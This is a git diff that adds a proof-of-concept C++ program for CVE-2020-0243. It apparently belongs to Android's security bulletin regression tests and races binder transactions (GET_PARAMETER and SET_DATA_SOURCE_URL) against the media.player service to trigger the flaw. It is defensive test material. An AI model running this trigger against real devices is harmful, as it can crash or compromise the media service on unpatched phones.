1 files changed, 97 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
new file mode 100644
index 00000000000..5841427f76f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+typedef struct ThreadParams {
+  sp<IBinder> service;
+} ThreadParams;
+
+static void *thread_getParameter(void *p) {
+  ThreadParams *params = (ThreadParams *)p;
+  int err;
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(params->service->getInterfaceDescriptor());
+    int key = (('m') << 24 | ('t') << 16 | ('r') << 8 | ('X'));
+    data.writeInt32(key);
+    err = params->service->transact(/*GET_PARAMETER_ID*/ 31, data, &reply, 0);
+    if (err == EPIPE) {
+      break;
+    }
+    usleep(5000);
+  }
+  return nullptr;
+}
+
+int main() {
+  status_t err;
+  sp<IServiceManager> sm = defaultServiceManager();
+  String16 name(String16("media.player"));
+  sp<IBinder> service = sm->checkService(name);
+  sp<IBinder> binder = nullptr;
+  if (not service) {
+    return EXIT_FAILURE;
+  }
+
+  String16 interface_name = service->getInterfaceDescriptor();
+  Parcel data, reply;
+  data.writeInterfaceToken(interface_name);
+  data.writeStrongBinder(new BBinder());
+  for (int i = 0; i < 1024; ++i)
+    data.writeInt32(1);
+  if (service) {
+    err = service->transact(/*CREATE_ID*/ 1, data, &reply, 0);
+    binder = reply.readStrongBinder();
+  }
+
+  if (not binder) {
+    return EXIT_FAILURE;
+  }
+
+  pthread_t t1, t2;
+
+  ThreadParams *params = new ThreadParams();
+  params->service = binder;
+  pthread_create(&t1, nullptr, thread_getParameter, params);
+  pthread_create(&t2, nullptr, thread_getParameter, params);
+
+  time_t currentTime = start_timer();
+  while (timer_active(currentTime)) {
+    if (not binder) {
+      break;
+    }
+    Parcel data, reply;
+    data.writeInterfaceToken(binder->getInterfaceDescriptor());
+    data.writeStrongBinder(binder);
+    err = binder->transact(/*SET_DATA_SOURCE_URL_ID*/ 2, data, &reply, 0);
+    if (err == EPIPE) {
+      break;
+    }
+    usleep(500000);
+  }
+
+  pthread_join(t1, nullptr);
+  pthread_join(t2, nullptr);
+  delete params;
+  return EXIT_SUCCESS;
+}